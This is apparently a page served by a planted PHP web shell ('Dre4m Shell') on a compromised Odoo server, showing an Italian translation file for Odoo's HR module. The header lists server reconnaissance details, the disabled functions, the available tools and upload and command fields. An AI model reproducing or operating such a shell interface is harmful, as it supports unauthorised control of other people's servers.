Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.143.110.248
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/hr/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/hr/i18n/it.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * hr
# 
# Translators:
# Francesco Garganese <francesco.garganese@aeromnia.aero>, 2016
# p_amoruso <p.amoruso@elvenstudio.it>, 2016
# Martin Trigaux <mat@odoo.com>, 2016
# Paolo Valier <paolo.valier@hotmail.it>, 2016
# Valeria Torrisi <valeriatorrisi93@gmail.com>, 2016
# Simone Bernini <simone@aperturelabs.it>, 2016
# Giacomo Grasso <giacomo.grasso.82@gmail.com>, 2016
# Giuseppe Castellani <giuseppecastellani@gmail.com>, 2016
# Leonardo Donelli <learts92@gmail.com>, 2016
# Maurizio Delmonte <maurizio.delmonte@gmail.com>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-10-10 08:43+0000\n"
"PO-Revision-Date: 2016-10-10 08:43+0000\n"
"Last-Translator: Maurizio Delmonte <maurizio.delmonte@gmail.com>, 2017\n"
"Language-Team: Italian (https://www.transifex.com/odoo/teams/41243/it/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: it\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: hr
#: code:addons/hr/models/hr.py:76
#, python-format
msgid "%s (copy)"
msgstr "%s (copia)"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "<i>Work in a fun atmosphere</i>"
msgstr "<i>Lavora in un'atmosfera divertente</i>"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "<i>You are passionate</i>"
msgstr "<i>Sei appassionato</i>"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "<i>You autonomously and quickly learn</i>"
msgstr "<i>Impari autonomamente e in fretta</i>"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "<i>You easily manage them</i>"
msgstr "<i>Li gestisci facilmente</i>"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_kanban_view_employees
msgid ""
"<span class=\"o_unfollow\">Unfollow</span>\n"
"                                    <span class=\"o_following\">Following</span>"
msgstr ""

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_department_view_kanban
msgid "<span>Reports</span>"
msgstr "<span>Report</span>"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_department_view_kanban
msgid "<span>To Approve</span>"
msgstr "<span>Da approvare</span>"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_department_view_kanban
msgid "<span>To Do</span>"
msgstr "<span>Da fare</span>"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid ""
"A full time job, with an attractive salary package in a small team of smart "
"people. You will start contract with a full technical and functional "
"training. If you are passionate, motivate and flexible apply for this job, "
"you will certainly join the best company ever."
msgstr ""
"Un lavoro a tempo pieno e uno stipendio attraente all'interno di un team di "
"brillanti collaboratori. Inizierai a far parte di un training pienamente "
"tecnico e funzionale. Se sei appassionato, motivato  e flessibile, allora "
"candidati per questa posizione. Di sicuro ti unirai a una delle migliori "
"compagnie di sempre.  "

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "A good job in a young and dynamic team"
msgstr "Un buon lavoro in un team giovane e dinamico"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_active
#: model:ir.model.fields,field_description:hr.field_hr_employee_active
msgid "Active"
msgstr "Attivo"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Analyse needs, write specification documents and quotation"
msgstr "Analizzare i bisogni, scrivere documenti specifici e quotazioni."

#. module: hr
#: model:ir.model,name:hr.model_account_analytic_account
msgid "Analytic Account"
msgstr "Conto Analitico"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_department_filter
#: model:ir.ui.view,arch_db:hr.view_employee_filter
msgid "Archived"
msgstr "Archiviato"

#. module: hr
#: model:ir.model,name:hr.model_event_registration
msgid "Attendee"
msgstr "Partecipante"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_bank_account_id
msgid "Bank Account Number"
msgstr "Numero C/C Bancario"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
msgid ""
"Because of our constant growth, we're now looking for people to reinforce "
"our team of enthusiastic chief technical officer. So if working on an open "
"source project in a friendly and cooperative atmosphere sounds like fun to "
"you, read on..."
msgstr ""
"Grazie alla nostra crescita costante, stiamo cercando persone che rinforzino"
" il nostro team di entusiasti direttori tecnici. Se lavorare all'interno di "
"progetti open source in un'atmosfera amichevole e cooperativa ti sembra "
"divertente, continua a leggere..."

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid ""
"Because of our constant growth, we're now looking for people to reinforce "
"our team of enthusiastic developers. So if working on an open source project"
" in a friendly and cooperative atmosphere sounds like fun to you, read on..."
msgstr ""
"Grazie alla nostra crescita costante, stiamo cercando persone che rinforzino"
" il nostro team di entusiasti sviluppatori. Se lavorare all'interno di "
"progetti open source in un'atmosfera amichevole e cooperativa ti sembra "
"divertente, continua a leggere..."

#. module: hr
#: model:hr.job,website_description:hr.job_trainee
msgid ""
"Because of our constant growth, we're now looking for people to reinforce "
"our team of enthusiastic trainees. So if working on an open source project "
"in a friendly and cooperative atmosphere sounds like fun to you, read on..."
msgstr ""
"Grazie alla nostra crescita costante, stiamo cercando persone che rinforzino"
" il nostro team di entusiasti tirocinanti. Se lavorare all'interno di "
"progetti open source in un'atmosfera amichevole e cooperativa ti sembra "
"divertente, continua a leggere..."

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Birth"
msgstr "Nascita"

#. module: hr
#: model:hr.job,name:hr.job_ceo
msgid "Chief Executive Officer"
msgstr "Amministratore Delegato"

#. module: hr
#: model:hr.job,name:hr.job_cto
msgid "Chief Technical Officer"
msgstr "Direttore Tecnico"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_child_ids
msgid "Child Departments"
msgstr "Dipartimenti secondari"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Citizenship & Other Information"
msgstr "Cittadinanza & altre informazioni"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_city
msgid "City"
msgstr "Città"

#. module: hr
#: model:ir.actions.act_window,help:hr.act_employee_from_department
#: model:ir.actions.act_window,help:hr.open_view_employee_list_my
msgid "Click to add a new employee."
msgstr "Clicca per aggiungere un nuovo impiegato."

#. module: hr
#: model:ir.actions.act_window,help:hr.open_module_tree_department
msgid "Click to create a department."
msgstr "Clicca per creare un nuovo dipartimento."

#. module: hr
#: model:ir.actions.act_window,help:hr.action_hr_job
msgid "Click to define a new job position."
msgstr "Clicca per definire una nuova posizione lavorativa."

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Close to the perfection ..."
msgstr "Quasi perfetto ..."

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_coach_id
#: model:ir.ui.view,arch_db:hr.view_employee_filter
msgid "Coach"
msgstr "Istruttore"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_code
msgid "Code"
msgstr "Codice"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_color
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_color
#: model:ir.model.fields,field_description:hr.field_hr_employee_color
msgid "Color Index"
msgstr "Indice Colore"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_department_tree
msgid "Companies"
msgstr "Aziende"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_company_id
#: model:ir.model.fields,field_description:hr.field_hr_employee_company_id
#: model:ir.model.fields,field_description:hr.field_hr_job_company_id
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Company"
msgstr "Azienda"

#. module: hr
#: model:ir.ui.menu,name:hr.menu_human_resources_configuration
msgid "Configuration"
msgstr "Configurazione"

#. module: hr
#: model:hr.job,name:hr.job_consultant
msgid "Consultant"
msgstr "Consulente"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Contact Information"
msgstr "Contatti e Informazioni"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Contributions to open source projects"
msgstr "Contributi ai progetti open source"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_create_uid
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_create_uid
#: model:ir.model.fields,field_description:hr.field_hr_employee_create_uid
#: model:ir.model.fields,field_description:hr.field_hr_job_create_uid
msgid "Created by"
msgstr "Creato da"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_create_date
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_create_date
#: model:ir.model.fields,field_description:hr.field_hr_employee_create_date
#: model:ir.model.fields,field_description:hr.field_hr_job_create_date
msgid "Created on"
msgstr "Creato il"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_no_of_employee
msgid "Current Number of Employees"
msgstr "Numero attuale di dipendenti"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_birthday
msgid "Date of Birth"
msgstr "Data di nascita"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "Define a clear communication strategy"
msgstr "Definire una chiara strategia comunicativa"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_calendar_id
msgid "Define the schedule of resource"
msgstr "Definire il piano di lavoro per la risorsa"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Deliver generic Odoo functional training sessions"
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_department_id
#: model:ir.model.fields,field_description:hr.field_hr_job_department_id
#: model:ir.ui.view,arch_db:hr.view_department_filter
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Department"
msgstr "Dipartimento"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_name
msgid "Department Name"
msgstr "Nome Dipartimento"

#. module: hr
#: model:ir.actions.act_window,name:hr.open_module_tree_department
#: model:ir.ui.menu,name:hr.menu_hr_department_tree
#: model:ir.ui.view,arch_db:hr.view_department_filter
msgid "Departments"
msgstr "Dipartimenti"

#. module: hr
#: model:ir.model,name:hr.model_mail_channel
msgid "Discussion channel"
msgstr "Canale di discussione"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_display_name
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_display_name
#: model:ir.model.fields,field_description:hr.field_hr_employee_display_name
#: model:ir.model.fields,field_description:hr.field_hr_job_display_name
msgid "Display Name"
msgstr "Nome Visualizzato"

#. module: hr
#: selection:hr.employee,marital:0
msgid "Divorced"
msgstr "Divorziato/a"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_time_efficiency
msgid "Efficiency Factor"
msgstr "Fattore di efficienza"

#. module: hr
#: model:ir.model,name:hr.model_mail_alias
msgid "Email Aliases"
msgstr "Alias Email"

#. module: hr
#: model:ir.model,name:hr.model_mail_thread
msgid "Email Thread"
msgstr "Thread Email"

#. module: hr
#: model:ir.model,name:hr.model_hr_employee
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Employee"
msgstr "Dipendente"

#. module: hr
#: model:ir.model,name:hr.model_hr_employee_category
msgid "Employee Category"
msgstr "Categoria Dipendente"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_name
msgid "Employee Tag"
msgstr "Tag Dipendente"

#. module: hr
#: model:ir.actions.act_window,name:hr.open_view_categ_form
#: model:ir.ui.menu,name:hr.menu_view_employee_category_form
#: model:ir.ui.view,arch_db:hr.view_employee_category_form
msgid "Employee Tags"
msgstr "Tags Dipendente"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_bank_account_id
msgid "Employee bank salary account"
msgstr "Conto bancario per lo stipendio del dipendente"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Employee's Name"
msgstr "Nome del Dipendente"

#. module: hr
#: model:ir.actions.act_window,name:hr.act_employee_from_department
#: model:ir.actions.act_window,name:hr.open_view_employee_list
#: model:ir.actions.act_window,name:hr.open_view_employee_list_my
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_employee_ids
#: model:ir.model.fields,field_description:hr.field_hr_job_employee_ids
#: model:ir.ui.menu,name:hr.menu_hr_root
#: model:ir.ui.menu,name:hr.menu_open_view_employee_list_my
#: model:ir.ui.view,arch_db:hr.hr_department_view_kanban
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:ir.ui.view,arch_db:hr.view_employee_tree
#: model:ir.ui.view,arch_db:hr.view_partner_tree2
msgid "Employees"
msgstr "Impiegati"

#. module: hr
#: model:ir.actions.act_window,name:hr.open_view_employee_tree
msgid "Employees Structure"
msgstr "Struttura Dipendenti"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_category_list
msgid "Employees Tags"
msgstr "Cartellini dei dipendenti"

#. module: hr
#: code:addons/hr/models/hr.py:254
#, python-format
msgid "Error! You cannot create recursive departments."
msgstr "Errore! Impossibile creare dipartimenti ricorsivi."

#. module: hr
#: code:addons/hr/models/hr.py:167
#, python-format
msgid "Error! You cannot create recursive hierarchy of Employee(s)."
msgstr "Errore! Impossibile creare gerarchie di dipendenti ricorsive."

#. module: hr
#: model:ir.model,name:hr.model_event_event
msgid "Event"
msgstr "Evento"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_no_of_recruitment
msgid "Expected New Employees"
msgstr "Nuovi dipendenti previsti"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_job_expected_employees
msgid ""
"Expected number of employees for this job position after new recruitment."
msgstr ""
"Numero atteso di dipendenti per questa posizione lavorativa dopo le nuove "
"assunzioni."

#. module: hr
#: model:hr.job,name:hr.job_developer
msgid "Experienced Developer"
msgstr "Sviluppatore con esperienza"

#. module: hr
#: selection:hr.employee,gender:0
msgid "Female"
msgstr "Femmina"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_kanban_view_employees
msgid "Follow"
msgstr "Segui"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Follow and check the development part"
msgstr "Seguire e controllare la parte di sviluppo"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_kanban_view_employees
msgid "Followers"
msgstr "Followers"

#. module: hr
#: model:ir.model,name:hr.model_gamification_badge
msgid "Gamification badge"
msgstr ""

#. module: hr
#: model:ir.model,name:hr.model_gamification_challenge
msgid "Gamification challenge"
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_gender
msgid "Gender"
msgstr "Sesso"

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid "Good knowledge of HTML and Javascript"
msgstr "Buona conoscenza del linguaggio HTML e Javascript"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Good knowledge of object oriented programming"
msgstr "Buona conoscenza della programmazione ad oggetti"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Good knowledge of the latest web technologies"
msgstr "Buona conoscenza delle ultime tecnologie web"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Good knowledge of the programming language"
msgstr "Buona conoscenza del linguaggio di programmazione"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Good knowledge of web design"
msgstr "Buona conoscenza di progettazione web"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Good language skills in another language"
msgstr "Buone abilità linguistiche in altre lingue"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Group By"
msgstr "Raggruppa per"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "HR Settings"
msgstr "Configurazioni HR"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Help with the configuration of the software"
msgstr "Aiuto con la configurazione del software"

#. module: hr
#: model:hr.job,website_description:hr.job_hrm
msgid "Hire a team of great Human Resources people"
msgstr "Assumere un grande team delle Risorse Umane"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
msgid "Hire a team of great executive people"
msgstr "Assumere un grande team esecutivo"

#. module: hr
#: model:hr.job,website_description:hr.job_marketing
msgid "Hire a team of great marketing people"
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_no_of_hired_employee
msgid "Hired Employees"
msgstr "Impiegati assunti"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_address_home_id
msgid "Home Address"
msgstr "Indirizzo fiscale"

#. module: hr
#: model:ir.model,name:hr.model_hr_department
msgid "Hr Department"
msgstr "Dipartimento di Risorse Umane"

#. module: hr
#: model:ir.ui.menu,name:hr.menu_hr_main
msgid "Human Resources"
msgstr "Risorse Umane"

#. module: hr
#: model:hr.job,name:hr.job_hrm
msgid "Human Resources Manager"
msgstr "Manager delle Risorse Umane"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_id
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_id
#: model:ir.model.fields,field_description:hr.field_hr_employee_id
#: model:ir.model.fields,field_description:hr.field_hr_job_id
msgid "ID"
msgstr "ID"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_identification_id
msgid "Identification No"
msgstr "Codice Fiscale"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_active
msgid ""
"If the active field is set to False, it will allow you to hide the resource "
"record without removing it."
msgstr ""
"Se il campo attivo è impostato a falso, permetterà di nascondere il record "
"risorsa senza rimuoverlo."

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "Improve our communication to customers"
msgstr "Migliorare la nostra capacità di comunicare con i clienti"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "In Position"
msgstr "Assunzioni effettuate"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "In Recruitment"
msgstr "In assunzione"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "Increase opportunities"
msgstr "Aumentare le opportunità"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "Increase the visibility of the product"
msgstr "Aumentare la visibilità del prodotto"

#. module: hr
#: model:ir.model,name:hr.model_fleet_vehicle
msgid "Information on a vehicle"
msgstr "Informazioni su un veicolo"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:ir.ui.view,arch_db:hr.view_hr_job_form
#: model:ir.ui.view,arch_db:hr.view_hr_job_tree
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Job"
msgstr "Lavoro"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_description
msgid "Job Description"
msgstr "Descrizione lavoro"

#. module: hr
#: model:ir.model,name:hr.model_hr_job
msgid "Job Position"
msgstr "Posizione lavorativa"

#. module: hr
#: model:ir.actions.act_window,name:hr.action_hr_job
msgid "Job Positions"
msgstr "Posizione lavorativa"

#. module: hr
#: model:ir.actions.act_window,help:hr.action_hr_job
msgid ""
"Job Positions are used to define jobs and their requirements.\n"
"                You can keep track of the number of employees you have per job\n"
"                position and follow the evolution according to what you planned\n"
"                for the future."
msgstr ""
"Le \"Job Positions\" sono utilizzate per definire i diversi lavori e i loro requisiti.\n"
"Puoi monitorare il numero di impiegati che hai per ciascuna posizione lavorativa e seguire la sua evoluzione secondo quanto hai pianificato per il futuro. "

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_job_id
#: model:ir.model.fields,field_description:hr.field_hr_job_name
msgid "Job Title"
msgstr "Qualifica"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_jobs_ids
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Jobs"
msgstr "Lavori"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department___last_update
#: model:ir.model.fields,field_description:hr.field_hr_employee___last_update
#: model:ir.model.fields,field_description:hr.field_hr_employee_category___last_update
#: model:ir.model.fields,field_description:hr.field_hr_job___last_update
msgid "Last Modified on"
msgstr "Ultima modifica il"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_write_uid
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_write_uid
#: model:ir.model.fields,field_description:hr.field_hr_employee_write_uid
#: model:ir.model.fields,field_description:hr.field_hr_job_write_uid
msgid "Last Updated by"
msgstr "Ultima modifica di"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_write_date
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_write_date
#: model:ir.model.fields,field_description:hr.field_hr_employee_write_date
#: model:ir.model.fields,field_description:hr.field_hr_job_write_date
msgid "Last Updated on"
msgstr "Ultima modifica il"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_last_login
msgid "Latest Connection"
msgstr "Ultima Connessione"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_hr_job_form
msgid "Launch Recruitment"
msgstr "Avvio il reclutamento"

#. module: hr
#: model:hr.job,website_description:hr.job_marketing
msgid "Launch new marketing campaigns and offers"
msgstr "Lanciare nuove campagne e offerte di marketing"

#. module: hr
#: model:hr.job,website_description:hr.job_hrm
msgid "Launch new products, Human Resources campaigns and offers"
msgstr "Lanciare nuovi prodotti, campagne e offerte di Risorse Umane"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
msgid "Launch new products, marketing campaigns and offers"
msgstr "Lanciare nuovi prodotti, campagne e offerte di marketing"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_login
msgid "Login"
msgstr "Login"

#. module: hr
#: selection:hr.employee,gender:0
msgid "Male"
msgstr "Maschio"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_manager_id
#: model:ir.model.fields,field_description:hr.field_hr_employee_parent_id
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:res.groups,name:hr.group_hr_manager
msgid "Manager"
msgstr "Manager"

#. module: hr
#: model:res.groups,name:hr.group_hr_attendance
msgid "Manual Attendance"
msgstr "Presenza Manuale"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_marital
msgid "Marital Status"
msgstr "Stato civile"

#. module: hr
#: model:hr.job,name:hr.job_marketing
msgid "Marketing and Community Manager"
msgstr "Manager di Marketing e Community"

#. module: hr
#: selection:hr.employee,marital:0
msgid "Married"
msgstr "Sposato/a"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Master or engineer in computer science"
msgstr "Specialista o ingegnere in scienze informatiche"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_image_medium
msgid "Medium-sized photo"
msgstr "Foto grandezza media"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_image_medium
msgid ""
"Medium-sized photo of the employee. It is automatically resized as a "
"128x128px image, with aspect ratio preserved. Use this field in form views "
"or some kanban views."
msgstr ""
"Foto grandezza media del dipendente. Viene automaticamente ridimensionata a "
"128x128px, preservando le proporzioni. Usato nei form ed in alcune kanban."

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_member_ids
msgid "Members"
msgstr "Membri"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_kanban_view_employees
msgid "Messages"
msgstr "Messaggi"

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_department_view_kanban
msgid "More <i class=\"fa fa-caret-down\"/>"
msgstr "Altro <i class=\"fa fa-caret-down\"/>"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Must have ..."
msgstr "Da avere assolutamente ..."

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_name
msgid "Name"
msgstr "Nome"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_country_id
msgid "Nationality (Country)"
msgstr "Nazionalità"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Nice to have"
msgstr "Bello avere"

#. module: hr
#: selection:hr.job,state:0
msgid "Not Recruiting"
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_note
msgid "Note"
msgstr "Nota"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_notes
msgid "Notes"
msgstr "Note"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_job_no_of_employee
msgid "Number of employees currently occupying this job position."
msgstr "Numero di dipendenti attualmente occupanti questa posizione."

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_job_no_of_hired_employee
msgid ""
"Number of hired employees for this job position during recruitment phase."
msgstr ""
"Numero di impiegati assunti per questa posizione lavorativa in questa fase "
"di reclutamento."

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_job_no_of_recruitment
msgid "Number of new employees you expect to recruit."
msgstr "Numero di dipendenti che si intende assumere."

#. module: hr
#: model:ir.actions.act_window,help:hr.open_module_tree_department
msgid ""
"Odoo's department structure is used to manage all documents\n"
"                related to employees by departments: expenses, timesheets,\n"
"                leaves and holidays, recruitments, etc."
msgstr ""
